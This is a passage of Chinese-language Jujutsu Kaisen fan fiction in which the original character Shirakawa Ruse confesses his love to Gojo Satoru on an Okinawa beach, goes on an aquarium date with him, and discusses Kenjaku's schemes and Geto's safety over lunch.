“干嘛吓学生,悟。”还好那位白川先生马上反驳了,“我怎麽可能去做诅咒师。” 真是松了口气呢。 然后他看到白川先生对他露出善意的浅笑,“其实我是神。” 乙骨:“啊?!” 五条老师大笑起来,一张脸帅气的惊人,艺术品一样的眼睛弯成月牙。 怎麽这样啊!白川先生也和五条老师一样爱开玩笑。这麽一来,气氛倒是和谐了很多,乙骨在五条悟旁边坐下,小声问老师,“五条老师,你不戴上眼罩吗?” “现在不想戴。”五条老师只是神神秘秘地轻声对他说。 乙骨露出羞涩的笑意,坐在五条悟旁边,吃着顺手捎带给他的蛋糕。五条老师还不知道,那是白川先生费了多大功夫才买来的。等白川先生告白成功了,他一定要告诉五条老师。 说起来真的好巧,能正好帮上白川先生的忙,还被白川先生认出是五条老师的学生,这一切都是命运的安排吧。 白川先生身上的谜团太多了,光是刚才瞬间出现在五条老师身后,就吓了他一跳,好在不是敌人。和五条老师是同期吗?但是年纪看起来很轻。 脸上的纹路也相当奇怪。 绝对不是坏人吧,这麽深切地爱恋着一个人的人,绝对不是什麽坏人,乙骨忧太马上就原谅了对方套他话的行为。 空气又变得沉默起来,五条老师在认真拆着包装盒,白川先生则是泡了两杯茶,放在五条老师和他面前。乙骨匆忙道谢,时不时抬起眼睛观察白川琉世。 好着急,他们怎麽不叙叙旧呢,好想听。 那些对喜欢人的描述,原来全都是说的五条老师。 说起来,五条老师确实是这样的人啊,大家为什麽都忽视了他的优点呢? 蛋糕的口感绵密甜软,乙骨后知后觉,发现之前白川先生问他喜不喜欢吃蛋糕,就是想给他也顺带捎一份的意思。 这麽体贴的人,五条老师可以答应他! 乙骨悄悄地,坚定地点点头。 白川琉世体会到乙骨的情绪,有点想笑,对面两个人都在吃蛋糕,不管是悟还是他到处捡的孩子,都很可爱。 “刚刚那个孩子很奇怪吧?”白川琉世问乙骨。 “啊,那个叫柯南的孩子吗?”乙骨冒出冷汗,“他刚才没有看到咒灵,但是看到您突然出现了,这很难解释,我好不容易才糊弄过去。” 那是什麽发送类型的术式吗? “没有糊弄过去,那小孩的聪明超出你的想象,下次直接告诉他也无妨。” “您是怎麽知道的呢?早就认识柯南吗?” “对啊。” 他和乙骨有一搭没一搭的聊着,目光却一直追寻着白发的青年,年轻的学生心下了然,匆匆吃光自己的蛋糕,“我吃好了,先回去了,你们聊吧。” 打扰别人的恋情可是很不好的行为。 …… “琉世把忧太吓跑了。” 五条悟咬着塑料叉子,轻轻舔着上面的奶油,殷红的舌尖在白色的奶油间若隐若现,轻佻地眨着那双世界上最美的眼睛。 语气并不算怪罪,而是微甜的引诱。 他们都不是小孩子了,白川琉世当然知道这代表了什麽,如果是两年前的他,大概会慌乱到过载直接晕倒。 现在也没长进多少。 他依旧感到目眩神迷,只好先移开视线冷静一下,再重新把目光温柔地覆上。 “好吃吗,悟?” “超——好吃,简直是世界上最完美的甜点。” “骗人吧,之前还说喜久福是世界上最完美的甜点。” “都是琉世买的,有什麽区别吗?” “……” [“你在和我调情吗,悟?”] 五条悟吃干净蛋糕,琉世的目光一直在他身上,这让人心情很好。 “你不问问大家的情况吗?” “有你在,大家肯定被照顾的很好。” “这麽相信我吗?” “这麽相信你啊。” “琉世说话果然让人心情超好。” “悟心情好,那我心情也好,好的不得了。” 蛋糕的香味在空中弥漫,不止,空气中简直像撒了糖霜,浓稠的、甜腻腻的,五条悟感到一阵幸福的颤栗,正面的情绪到了极点,反而产生了轻微的危险感。 “琉世一会要做什麽呢?” 现在已经很晚了,不如说天都快要亮了。 “之前还知道,但是看到悟,没办法思考了。” 莫名奇妙把心里话说出来了,这麽说可以吗?是不是推进的太快了? 不,不行。 不能直接跳过重要的步骤,若无其事地调情。 不能随意做这种事,不经过告白和誓言,谁也不能随随便便就和悟牵手、拥抱、亲吻。 那是很重要的事,怎麽能在悟身上省略这麽重要的事? 告白……,要怎麽告白呢?要准备鲜花和戒指吗?约在什麽地方呢?高专的时候适合约在水族馆,现在想想太过孩子气了。公园?那种地方太普通了,有些寒酸吧。餐厅?有种吃饭的时候顺便把事说了的感觉,太不重视了。像现在这样普通聊天的场合吗?更随便了。 糟了,忘了他现在没有多少钱了。 白川琉世,心情跌到谷底! “琉世,你是有什麽心事吗?”五条悟敏锐地察觉到对方的不对劲。 “没事。” 确实有心事,比如没钱追什麽五条悟。 神了不起吗?又不是财神。 “嗯?”五条悟有点生气了,那双眼睛瞬间充满了生动的神采,“瞒着我?” 随便找个理由就能糊弄过去,但白川琉世不想说谎。 “是在你看起来很无聊的事,但对我很重要,不能告诉悟。” 五条悟看起来不太开心,嘴上却相当通情达理,“琉世有自己的事也正常,十年没见想必很多事我也帮不上忙,搞不好连跟我说都是麻烦呢。” 白川琉世从来没听过他用这种口气说话。 啊,想起来了,五条悟也是京都人,那种阴阳怪气的腔调平时不爱用,并不是不会说。 汗流浃背了。 “不是这个意思,悟,对不起,明明是想让你开心一点的。” 五条悟紧紧绷着脸,从鼻腔里发出含糊的哼声,然后,那双佯装冷酷的眼睛漾开笑意。 “哈哈哈哈哈,笨蛋琉世,你紧张的样子看起来一点长进都没有。” 白川琉世一下子放松了神经。 悟才是笨蛋吧,只有一直喜欢,面对你时才会没有长进啊。 “知道我会紧张还开这种玩笑,晚上会做噩梦的。” “骗人的吧,谁叫你有话不直说。” “别再纠结那个啦。” “笨蛋琉世,不就是喜欢——。” 不就是喜欢我吗?五条悟那句话还没说完,变化超大的琉世却忽然像被高专时期的自己上身,发出惊恐的大叫,然后扑过来捂住了他的嘴。 五条悟错愕地睁大眼睛,看着近在咫尺的琉世的脸,一张大手紧紧捂在他的嘴上,手心炙热的温度连带着使他脸上的温度也快速攀升。 “唔……唔唔。”他哼了两声,却也没有认真挣扎。琉世怎麽了,害羞了吗,反应这麽大? 难怪呢,看起来,他在那边可能也没待几年,现在有20岁吗? “不要说,悟,那个应该由我说的!” “哈?”五条悟发出一声含糊的疑问,表情也染上真实的疑惑。 “所以说,你才是笨蛋,悟。”! 十年归来,白川琉世简直胆大包天,这麽快就要骑到他头上了。 五条悟与白川琉世对视,眼神准确地传达了自己的意思。 [谁来说有什麽关系,你在干什麽啊琉世?] “就是因为你总是对自己的事不在意,所以别人才会对你随便啊。”柔软的触感划过手心,白川琉世慢慢松开捂着对方的手,“这个问题太严重了,以后我会监督你改正的。” 什…… 五条悟沉默几秒,忽然掏出手机。“这麽在乎仪式感的话,我马上订去冲绳的机票。” “这不是一开始你想去的地方吗?”想起白川琉世后来的经历,那次未至的旅程一定令他非常遗憾,当然,对五条悟自己也是。他的脾气一向来得快去得也快,马上就能笑着对白川琉世说,“说起来,你真的很会诶,那些浪漫的手段到底是跟谁学的?” 真是失礼啊悟,当然是遵从纯爱的心了。 白川琉世却拿开他的手机。 “要去冲绳的话,不用订机票。悟,多穿点衣服,我现在就带你去。” 两个人都对2007年夏天,白川琉世推出去的那张票代表了什麽心知肚明。 [“我马上去订冲绳的机票。”] 这句话表明的意思,就差把“快要向我告白”直接喊出来了。 什麽鲜花、戒指,这谁还管啊,谁还能坐得住啊!【你现在阅读的是 】 50-60 第51章 告白 冬天的海边,风异常湿冷,微微的咸腥萦绕在鼻尖,海水的蓝也蒙上了一层铁灰色,是和夏天不一样的冷寂。 五条悟有一瞬间的眩晕,下一秒,脚下踏实的木地板就变成了细软的沙子。 “你现在竟然能做到这种事,琉世。” 带着他一下子跨越整个狭长的岛国,从北海道来到冲绳。 “因为我是神啊,悟。” 天色将亮未亮,呈现出浅蓝与冷灰交织的色调,一轮明日藏在云下,把天际线染出淡淡的橘。 “既然你一定要自己说,那我也无所谓哦。” 附近没有娱乐设施,这个时间当然也没有其他人在,涨潮时冰冷的海浪没过五条悟的脚背,被无下限隔绝在外面,他带着轻快的笑容,热意涌上脸颊,心跳与对面的人同频,期待被喧哗的海浪声推到了顶点。 白川琉世却没有说话,他脱下外套,披在五条悟身上,那件外套正好是他以前骑车时用来防风用的,把海边湿冷的风结结实实拦在了外面。 五条悟裹在对方的外套里,琉世尺码比他大一点,穿上还算合身。穿着对方的衣服接受告白吗?这也挺浪漫的嘛。 不过…… “你冷吗,琉世?” 白川琉世里面只穿了一件白色的短袖,在冬天的海边,是谁看到都会问句“不冷吗?”的程度。 “不冷,我火气很足,冬天也一直穿很少。”白川琉世认真地解释,“悟,干嘛这麽问我?” “嗯?你这是在说什麽话?” “悟,你冷吗?” “不冷,我身体也好的不得了。” “悟,一天一夜没有睡觉,你累了吗?” “不会,这点时间不算什麽,到极限还差得远呢。” “悟,有人问过你这些问题吗?” 五条悟停下脚步,眼睛转动,似乎在思考的样子。 “以前的侍女见我的时候问过。” “是吗?那真是太好了。还有呢?” [还有呢?悟?] 每天只睡三个小时,难道不和大冬天在海边穿短袖一样奇怪吗,为什麽没有人问他累不累? 五条悟心中划过一丝明悟,又摆上轻快的笑容,“琉世是想关心我吗?你说话现在太弯弯绕绕了吧!” “我当然关心你了。不过我本来就知道,你有无下限,风吹不到你,你一天只睡3个小时就能精力充沛,我问的话有点多余,对吗?” 白川琉世看到悟想要下意识点头,却止住了。 “不会,听到这样的话,我也会开心。” 白川琉世放低了声音,在又一次涨潮的浪声中,声音也不真切起来。 “你能承受很多,远远超出大家的极限,这点我也能做到,并且不会耗费什麽力气。 但是,重点不是你的客观情况,是别人会不会有‘五条悟能不能承受的住’这样将心比心的想法,而不是理所应当站在你的角度评判一切。 这样也会反过来影响你对待自己的方式,悟,你的期待太低了,可以再贪心一点。夥伴不是拥有站在你旁边的资质就可以了,也要爱着你啊。” 天生因为强大的功能性而被推崇的五条悟,很少被尊重作为人的一面。背负着如此大的期待,就连爱他的人,也很难给予普通的爱意。 更别说“烂橘子”们了。 五条悟很强——可以随意使唤、不怕弄坏,骨子里守规则——可以冒犯,天真——可以设计,善良——可以进一步冒犯,性格顽劣——既然这样,不尊重他也是难免的吧? 众人理所应当这麽想。 人心是最难理解的东西,就算是最强也没办法掌控,会谩骂讨厌的烂橘子,但也不能杀掉,指责的话会嘲讽回去,但改变不了别人心中的轻视,最强的高度在那,他很少在乎那些轻飘飘的杂音,但人类是得寸进尺的东西,很擅长用感情、职责或者理想之类看似无害的东西,织牢密不透风的网,一点一滴,逐渐蚕食本应随心所欲、毫无顾忌的最强。 在这种环境下长大,虽然物质和资源上非常优渥,但感情上,影响了五条悟对待自己和环境的态度。 他的期待才会那麽低。 白川琉世靠近正在出神,似乎在消化那些话的五条悟,伸出手指抹去他嘴角的奶油,“谁会在嘴角沾着奶油的时候告白啊,所以我让你赶快住口,对自己重视一点吧,笨蛋悟。” 最强那张帅气的脸终于回神,嘴角绷紧,鼻翼微缩,不知道是想哭还是想笑,或者是难以消化的错愕,在听到“笨蛋”这个形容词时,终于带着笑意,语调拉长,“叫谁笨蛋啊,琉世。说了一大堆,我承认是很有创意的告白词了。” 白川琉世展开明快的微笑,“告白词还没有说到啊,你就这麽迫不及待吗?” 以防五条悟再说出“那你快点说啊”这种煞风景的话,他抓住对方的手—— 两人全都被陌生的触感吓到一般,浑身一颤。 “想了很多地方,感觉都不合适,太普通了。所以还是……” 周围的寒冷加深,一阵失重感传来,五条悟眨了眨眼,向下望去,无下限重新运转,通过与白川琉世相连的左手覆盖到对方身上。 琉世似乎并不需要无下限,周围笼罩的透明能量罩,把猛烈的寒风通通阻挡在外。 天地之间,向下异常渺小,向上触之可及。 “还是只有我们两个能去的地方,最有意义了。” 这是千米的高空。 白川琉世把目光投向下方,深蓝的海水荡漾着,有节奏地吞没浅色的海岸线,百米、千米乃至远处近万米的深海下,海洋生物细弱的灵魂遍布其中,组成斑斓的银河。极目远眺,城镇中,属于人类的灵魂三三两两聚集在一起,栖息在小小的建筑物里,如同散落人间的各色星光。 白川琉世看向同样远眺的五条悟,六眼眼中的世界是什麽样的呢?一定也很特别。 悟的灵魂和所有人都不一样,是纯洁剔透的透明色,正因为如此,他唯有在看向悟的时候,能最为清楚地看清一个人的样子。 “你也很为我着迷吧,琉世。” 五条悟接住对方的视线,全方位无死角展示自己美丽的惊人的蓝眼睛。 “是啊。”白川琉世毫不迟疑地点头,“着迷的不得了,很喜欢悟,已经爱上悟了,根本无法自拔。” “这次是告白的话吗?” 说出来了啊,如果是那年夏天的琉世,一定会脸红心跳,喊出一句“我喜欢你”就全面宕机,现在虽然心跳声也很快,但表情还蛮镇定的。 白川琉世把五条悟的手贴在自己胸口,狂乱的心跳显示身体的主人并没有表面上那麽镇定。 “当然。”他说,“你肯定觉得直接说就好了,但说的人考虑的就多了,我常常在想,要怎麽把感情传达给你呢?仅仅是我喜欢你这种话吗?实际上要比那复杂的多。悟,在你不知道的时候,你的存在就已经是我的启示了。” “与其说神守护着你,不如说你才是指引我的神。”那张坚冰一样的面容此时漾开纯粹、温暖的笑意,“我完全从心底里认可你的选择,理解你的道路,说的毫不夸张,你的存在塑造了我,你肯定还一无所知吧。对我来说,有你存在的世界才值得留下来。那麽,以后的路要和我一起走吗?说的直白一点,要和我交往吗?永远在一起的那种。” “当然。”这次五条悟没有坏心眼地拉长调子,而是轻轻地、坚定地回应,“当然要了。” “这就答应了?不给我一点波折吗?” “啊?波折难道还不够吗?不满意的话,求婚的时候再为难你一下好了。” “悟有点太迫不及待了吧?那我马上就能去买戒指了。” “迫不及待的到底是谁啊?耐得住性子的话再失踪十年好了。” “说赌气的话也很像撒娇,太可爱了,悟。” 这像话吗?这还是年下应该有的口气吗?五条悟的手掌依旧贴在对方胸口,因为掌下狂舞乱跳的心跳,原谅了琉世的小小“冒犯”。 “琉世,太不公平了吧。” “嗯?” “怎麽只有你能自顾自告白说个爽,你不问下我为什麽会答应你吗?” “不敢问,害怕你只是喜欢我的脸。” 五条悟没忍住嗤笑出声,琉世果然还是很有以前的影子,“一开始,也不是没有这个原因。” 真狡猾啊,告白的话说的这麽令人感动,这不是给他上难度吗? “因为我帅气,体贴?”白川琉世自顾自举例,说了两项忽然发现没什麽可说的了,心跳一下子沉闷了下来。 “因为琉世是最特别的。”恋人那双流光璀璨的眼睛少见地专注,“说什麽我是你的启示,我塑造了你,虽然还不知道你经历了什麽,但我从一开始就知道,琉世和我是同类。” 扑通、扑通—— 手掌的温热透过薄薄的衣服、血液奔流的肉。体,温柔地覆在心上。白川琉世感到体温升高、斑纹滚烫,马上要无法呼吸了。 “只有同类才会看到本来的我,认可我的选择、理解我的道路,我怎麽可能感觉不到呢?你一定会选择令我毫不意外的道路,这点我从来没有怀疑过。” 是比期待中聪明强大、能站在身边的同伴,更加可靠、温暖,互相理解、满怀爱意的同类。 是在孤独一人的世界中,遇到的唯一同类。 能遇到琉世,真是超级幸运的事啊,果然是上天除了六眼和无下限外,赐给他的另一项礼物。 “很喜欢你,很为你着迷,爱上了你,简直无法自拔。我抄袭你的告白词,应该没什麽关系吧?” 恋人金色的眼睛盛着灼热的日光,视线落在肌肤上都有滚烫的感觉。 [哈,琉世要着火了吧?] 第52章 难道一直在引诱我吗?悟 秉持着来都来了的态度,两人在海边玩了会水,最后还是去了水族馆。 冲绳的美丽海水族馆相当有名,五条悟一进去就抓住白川琉世的手臂,“我记得从四楼可以看到一个很大的珊瑚水箱,超梦幻。” “嗯?你来过这里吗?” “小时候就来过了。” 说完,青年那双同样超梦幻的六眼观察着白川琉世的表情。 白川琉世愣住,那岂不是说,姐妹校交流会那天晚上,他邀请悟的时候,悟已经去过这里了。 “之前,是因为很想和我一起去,才没有告诉我你已经去过这里了吗?” “琉世,你笑的黏黏糊糊的样子挺稀奇的。” “所以说是不是啊,难道一直在引诱我吗,悟?” “怎麽能算得上引诱呢?难道不能是我想再去一次吗?”话虽然是否定的,但却露出好看的微笑,裸露在空气中的眼睛专注地看着他。 声音也轻哑悦耳,好听的不得了。 白川琉世无奈地微笑,之前是否引诱不能确定,但现在是肯定的。 悟有时候还真是喜欢作弄别人。 “你那双眼睛别再布灵布灵了,大家都要停下来围观你了。”白川琉世顺手抓住对方的手腕,“那我们直接去四楼,看你喜欢的珊瑚。” 白川琉世的话不是夸张,他们俩本来身高就引人注目,五条悟还没戴眼罩,每个路过的人都要放慢脚步回头看他们几眼。 “在偷偷计算我手腕的尺寸,你以前也做过这样的事吧,好阴暗的暗恋啊,琉世。” 白川琉世:! “那你不也是都知道吗?明明知道还放任,我看你也乐在其中啊,悟。” “是的哦。” 白川琉世一下子没话说了,本来想顺势和悟抬杠的,但对方这麽坦诚的话…… 糟了,他的表情管理好像失控了。 “噗。”五条悟忍不住笑出声,“琉世,你那得意忘形的表情是怎麽回事。” “我哪有,悟,那时候你都知道吗?” “如果指的是你喜欢我这点,全高专的人都看得出来,我又不是傻子。”五条悟把手腕从白川琉世手中抽出,用手掌握住对方的手,“就是太迟钝了,公主抱都不敢抱全套的,我放任了好久你才有勇气打算告白吧。” “啊?就连那个时候你也是醒着的?” “哪有这麽容易醉到人事不省,最多只能算微醺。” “其实还是喝醉了吧?那次运气真好,你没有发酒疯。” “哈?蜜月期嘴巴就开始变毒了吗?” “我哪有!还不是你……那时候我们才见没几次吧?” “都说了喜欢你的脸啊,噩梦成真了?” “这也难怪,初次见面你可是盯着我的脸足足看了三十秒。” “这要怪谁一直厚脸皮的给我托梦,看到熟悉的脸就算是我也很惊讶啊。” “只是看到喜欢的脸就打算试试吗?怎麽和你告白时说的不一样啊?” “嘁,骗我把告白的话再说一遍吗?好狡猾,你现在变得好阴暗啊。” 虽然是吵着的,但两人的手紧紧牵着,语气也黏糊的不行,旁若无人地在水族馆里游览。白川琉世不时会听到年轻的女孩在附近发出小声的尖叫,他们好像太引人注目了,但是无所谓,能这麽牵着悟的手,那就什麽都不用在意。 早午餐在附近的餐厅吃,中规中矩的西餐厅,悟在他对面拌着奶油海鲜意面,虽然白川琉世从小就不明白奶油怎麽能和海鲜融合在一起,但悟的口味他尊重祝福,只是默默啃着海鲜披萨。 两人聊着对方所不知道的事,悟那边的情况没有出乎白川琉世的意料,夏油杰叛逃了,不过没有发动百鬼夜行,现在作为盘星教代理教主活动。除了虎杖悠仁吃手指的时间提前,表面上没有出现其他变化。 令白川琉世惊讶的是,“你说夏油和你还保持联系,交流羂索的线索?” “羂索?是那个缝合线的名字?”说到正事,五条悟也想知道让他百思不得其解的缝合线的秘密,“他到底想做什麽?” 白川琉世把羂索的计划简单说了下,然后点评,“果然人不能活这麽久,旧脑子肯定越来越不好用,越活越魔怔了。” 五条悟张着嘴巴,一副震惊又无语到极点的样子。 “悟也觉得很无语吧,侥幸能活这麽久,竟然想出这麽离谱又弯弯绕绕的计谋,都活了一千年了,权势和财富什麽也没积累起来 ,没有什麽可以驱使的手下,只有一堆散沙一样的合作夥伴,就做这一件事还一直失败。” “你有时候也很刻薄嘛,琉世。不过……”五条悟准确捕捉其中的漏洞,“那他为什麽不对杰下手?至少十年前的盘星教主香织,应该就是羂索本人。” “哈,夏油能活着多亏了我啊。穿越前,羂索差点被我杀死,他以‘以后不再更换身体’为束缚逃走了。悟,你猜羂索无法更换身体后,会怎麽对待杰?” “无法更换身体?原来如此。” 一切疑点都串联上了,笼罩在真相上的迷雾散去。 “这样的话,只好放弃杀死杰,转而拉拢杰,直接让杰代替自己操控天元。或者有什麽更好的计划,能舍弃咒灵操术这一步骤。”五条悟不爽地嘁了一声,“那个缝合线果然很弱,只能搞一些上不得台面又复杂的小动作。” “所以说啊。”这个人一定不是天生的强者,只是时间的积累让他拥有了优势,这也是白川琉世的第一印象。 五条悟向白川琉世提及之前自己想不通的地方,“那就说得通了,加上琉世的情报,就全都清楚了。” “能靠这点消息推理出来那麽多,悟果然聪明的不得了。”白川琉世确实没想到,五条悟差一点就推理出了全部,只是缺乏了关键信息。 “年下就要有年下的样子,哪里来的一副哄小孩的口气。”五条悟半真半假地抱怨,“琉世也差不多到了该修理的时候了。” 白川琉世马上坐直,“嗯,真的?” 五条悟:? 坏了,以前容易害羞的小狗,变成滑不溜手的厚脸皮了。不能奖励他,不然会越来越得寸进尺。 “哈哈。”白川琉世发出轻轻的、愉悦的笑声,“本来今天不想说这些事的,但是,只有一点必须尽快告诉你。” “嗯?” “夏油的事。” 五条悟卷意面的动作维持了很久,听到夏油的名字,叉子直接放在了盘子上。 白川琉世察觉到了气氛的忽然沉重,悟还是在意夏油的事吧?就算没有亲手杀死挚友,但那年夏油的忽然离去,同样是横亘在心中的一道伤痕。 “琉世什麽时候这麽啰嗦了,直说好了,杰这家夥去做什麽自由诅咒师去了,奇怪的搭配,对吧?工作量比咒术师少多了,看起来活的挺滋润的,人生的幸福度可是比咒术师高多了。” “我可没在担心那家夥。”白川琉世拿出一支新叉子,敲了敲五条悟前面盛冰淇淋的小碗,发出清脆的一声“叮——”。 “冰淇淋要化了,悟。”担心的是你啊。 “知道了知道了。”怎麽回事,明明是年下,不会变异成爹系男友吧? “夏油之前是几乎没有生命危险的,羂索一时半会割舍不下他的术式,他自己也是特级的水平。不过,等宿傩的容器没有受肉反应后,就说不定了。” “那个羂索生下来的孩子竟然是为宿傩准备的容器,虎杖悠仁吃下手指,根本不是巧合吧。” “在羂索那里哪有巧合。”白川琉世失笑,“那确实是为宿傩准备的容器,但宿傩的手指被我做过手脚,里面并没有灵魂,虎杖悠仁不可能受肉成功。悟,你紧急出差,没办法赴虎杖的约,也是巧合吗?” 五条悟那双不可思议的眼睛睁大,瞳孔微颤,从惊疑逐渐转为愤怒。 “虎杖悠仁那边是不是,还有惠——。” “他们没事。” 长长地“嘁”了一声,五条悟用小勺把冰淇淋搅的乱七八糟,“那些烂橘子,皱巴巴的橘子皮是不是该被剥掉了?”不过,愤怒过后,一种镇定感涌上心间,“琉世,你见过他们了?” “对啊,虎杖没有表现出受肉的迹象,羂索肯定会来探查。”白川琉世把被五条悟搅得乱七八糟的冰淇淋拿到自己这边,把自己的推给他,“你那碗被你搞成什麽卖相了啊,吃这个吧。” 愉悦的轻哼从鼻腔发出,五条悟托腮,毫不客气地挖出一大块冰淇淋塞进嘴里,“看在你这麽体贴的份上,就称赞一下吧,琉世最棒了。” “本来就想称赞我吧,不用找额外的理由。” 金色的眼睛同样流淌出笑意,真没办法,和悟根本不能好好说事情,莫名其妙就会只想盯着他。 “果然很为我着迷吧?琉世。” “这句话你每天都要说一遍吗?” 确实很为悟着迷,每天都说一遍也未尝不可,白川琉世艰难地把思维切换到冷静模式,“说到虎杖……,悟,总监部是下了紧急任务给你,所以才没办法赴约吗?” “不,是忧太那里接到了特级任务,他现在的情况特殊,实力刚刚从特级的位置上掉下来,级别还没来得及变更,所以我跟过去了。” “那就说得清了。” 两人都明白了里面的弯弯绕绕,羂索就算不能更换身体,在总监部依然有人为他做事,引开五条悟,试探虎杖悠仁,并不是难以做到的事。 咒术总监部的意思,不过是把任务下给乙骨,又不是下给五条悟,你五条悟自己放心不下,愿意跟过去,关总监部什麽事?既然去乙骨那边,虎杖悠仁出了事是你自己的责任,谁叫你不去赴约呢? 总监部真是把悟的性格摸得一清二楚,拿捏的死死的,直接给悟下任务,达到的效果远远没有这样好,还能把自己的责任全甩出去。 第53章 为恋人走了99步,剩下的1步会舍得让对方走吗? 怎麽能这麽欺负悟呢? 羂索固然可恶,你咒术总监部也真是欠收拾啊。 五条悟并不是傻子,相反,他很聪明,所以术式才能用的这麽好,但是,人心险恶啊。 咒术总监部那种地方,总是不停地试探五条悟的底线,在“这样做他差一点掀桌”和“这样做他一定会掀桌”之间完美把持平衡,准确做出前者的选择。 觉得很恶心,但一时没什麽办法,是吗悟? “没关系,那两个孩子很安全,不用担心。”好像终于要说到重头戏了,“你唯一要操心的是夏油的事。” 白川琉世在千年前做了很多事,都不曾有过犹疑的感觉,唯独关于这件事—— “羂索无法亲自占据夏油的身体,其实还有一个办法获得咒灵操术,那就是特级咒具飞天。” “你是说加茂家的那个特级咒具?”今天吸收的信息量太多了,五条悟下意识停下吃东西的动作,“我明白你的意思了,能存储术式的飞天,同样能存储咒灵操术……那是你在千年前给加茂家的?” “流言果然传起来了,加茂家还真是兢兢业业。”白川琉世忽然觉得坑了加茂家一下有点不好意思,但是谁叫羂索格外钟情这一家呢。 “悟,接下来的事说起来有点绕。千年前,我在宿傩的手指中下了刻印,只要有人融合它,触动刻印,我就能回到正确的时空。……因为某种原因,我知道羂索本身就打算在现代创造宿傩的容器,于是我假装把飞天交给加茂家,让加茂家替我传出流言,说我立下过束缚,只有两面宿傩重现人间,飞天才能够被启用。他如果想启用飞天的话,只能先让虎杖悠仁受肉。 束缚当然是假的,真正的飞天一直在我身上。最重要的一点,悟,反正虎杖迟早都会吃下手指,关于飞天的流言对我影响不大,对夏油才是起了决定性的影响。” 五条悟快速顺着对方的思路往下捋,“这样的话……如果没有你插手,飞天或许很容易就被羂索得到,杰的术式被存储,他本人就性命难保。但如果只是把飞天藏起来,没有假装放到加茂家的消息和那个流言,千年没有线索的飞天会让羂索早早调整计划,他会变得更加不可控。 现在这种局面,相当于飞天的线索被固定住,羂索的目标就会只有等待两面宿傩受肉,在你穿越回来之前,正好能微妙地把局势稳定住。” 悟的脑子真是好用的惊人,白川琉世又愉快的在心里一阵赞叹。 “完全是这麽一回事。在羂索眼里,飞天启用的前提是宿傩的受肉,宿傩受肉前夏油绝不能死,而虎杖受肉我必定会回来。所以夏油在我回来之前,性命拥有很高的保障。” 至于羂索,那个家夥无所谓,不管什麽时候确定他是黄泉津本人,也会因为失去曾经和他见面的记忆,觉得自己的计划只暴露了“提取咒力”这点。 他还能做到什麽程度呢?准备俱全的情况下,也只是把悟封印住。真正有危险的,是夏油啊。 五条悟从开始就一副“你在说什麽啊”的表情,倒不是内容难以理解,而是不太习惯这种话由白川琉世说出来。 “哈,我记得谁之前说自己不是走聪明人路线的啊。” “今天悟总是夸我,真是令人开心啊。” “噗,当成夸你也没关系。羂索弯弯绕绕,你也没比他好哪去吧。” 琉世这家夥,心机也能深沉到这地步吗? “对付那样的人,就用那样的方法,不是很有意思吗?”白川琉世撑着颧骨,对恋人露出微笑,“羂索探查过虎杖后,很快就会发现宿傩没有受肉,飞天会成为弃子,到时候他会做什麽就不确定了。” “所有你说,现在唯一需要担心的是杰的事。” “是啊,不过羂索不会反应太快,你可以好好考虑一下。” 冰淇淋已经完全化掉了,五条悟托着腮,转头看向玻璃墙面外的街道,空气陷入一阵并不难熬的沉默中。外面太阳很足,街道上的柏油路有种夏日的滚烫色泽,这顿饭吃了好久,现在差不多该正午了。就算是他习惯高强度运转的大脑,此时也逃避一样开始走神。 他们出来忘记告诉忧太了。五条悟忽然想起这件事,拿起手机一看,果然有个未接来电,还有学生发来的好多消息。 [赛高麻辣教师五条悟:出来玩了哦~] [乙骨忧太:五条老师,你终于回消息了,辅助监督先生等你好久了!] 今天是约会日,先让忧太回高专好了。 [赛高麻辣教师五条悟:忧太先回去吧,要老师带冲绳的特产吗?] [乙骨忧太:哪?] [乙骨忧太:老师打错字了吗?] 五条悟笑出了声,抬头看了眼白川琉世,偷偷拍了张照,打开社交平台把照片上载。 [图下配文:男朋友,超帅的(墨镜笑)] 点击发送……等等,现在发出去肯定有好多烦人的电话打过来,今天这麽开心的日子怎麽能被打扰呢?五条悟点进旁边的定时,划到明天的时间,定时发布,OK~ 摆弄着手机,对面人的目光却变得沉重起来,五条悟本身就对视线很敏感,更别说现在还没戴眼罩。他抬起头,对恋人发出疑问的哼声。 是因为玩手机冷落他了,闹别扭吗? “悟,和夏油聊天,就这麽开心吗?” 五条悟:? 哈,原来是吃醋了,这麽一看,这副可怜巴巴的样子很有以前的影子嘛。 不,不对,不能这麽轻易落入对方的陷阱,这家夥现在心都是黑的吧?仔细一看这种低落的神情很明显是故意摆出来的,想借机卖乖讨欢心吗?哈,以前的那个纯真的小狗已经过了赏味期了,现在变成了这麽棘手的家夥。五条悟精神一振,恋爱心计这种东西,他也算略懂一二。 “第一天就开始怀疑我了,要我把手机给你查岗吗?”他侧过脸,嘴角下抿,一副泫然欲泣的样子,“我还没有问你,菅原觉是怎麽回事呢?” 白川琉世:! “坏了,这麽重要的事忘了解释了。我和他完全没有关系啊,悟,我过去的时候菅原觉已经被宿傩杀死了,那是你们家的人太会脑补了,我又不好解释,随意篡改过去的话万一没有我的记载留下来,那就真的从你的全世界路过了,听我解释啊,悟!” 他略显激动地把手伸过去,要握住五条悟的手,却被对方打开了。 “那你为什麽一定要杀死宿傩,不要告诉我只是想要他的手指穿越回来,哈,那个人死在你眼前,你一定也很心痛吧,花心的家夥!” 他们的动作有点大,餐厅已经有其他人看过来了,津津乐道吃他们可能是新年的第一个瓜。 “吵架了?是恋人吧这两个人?” “很明显啊,都摸手了,不是,为什麽帅哥都开始内部消化了?” “出轨了吗?抓奸?” “对的吧,刚才听到了一句花心的家夥。诶?看着人模人样的,没想到是这种人。” “不会吧,恋人这麽好看,竟然还会出轨,果然男人都是……” 白川琉世脑子嗡嗡作响。 真好,新年还没过去几天,就被人吃了两次瓜,还不能像上次直接让虎杖和伏黑坐下那样让悟停下。 算了,满足恋人的恶趣味也是一项责任。 杀死宿傩,归根结底最重要的原因只有一个,那就是为了悟。 “被宿傩杀死”,以及背后一连串的残忍事件,绝对不能告诉悟。白川琉世想起这种可能,心中就填满难以言喻的愤怒和痛楚。为恋人做了这麽多事,不被对方知道,或许是典型的隐忍男二形象,那种形象在2007年挺受欢迎,现在搞不好风评变了,会被骂傻子,不过有什麽关系,已经为恋人走了99步了,难道剩下1步非得让对方难受一下吗?换言之已经为对方走了99步的人,剩下的1步会舍得让对方走吗? 悟本身应该并不在意菅原觉的事,所以才会主动拿出来开玩笑,只要找个理由就好了。白川琉世在思考着回答的话,耽误了几秒,抬头却撞入一片早就收敛了情绪,平静如海的眼眸。 “不会吧,琉世,你这种表情……,我不会说中了吧。” 白川琉世那颗早就很少波动的心被狠狠攥紧,这次不是陪悟演戏,是真的略显激动地抓住五条悟的手,抓的很紧。 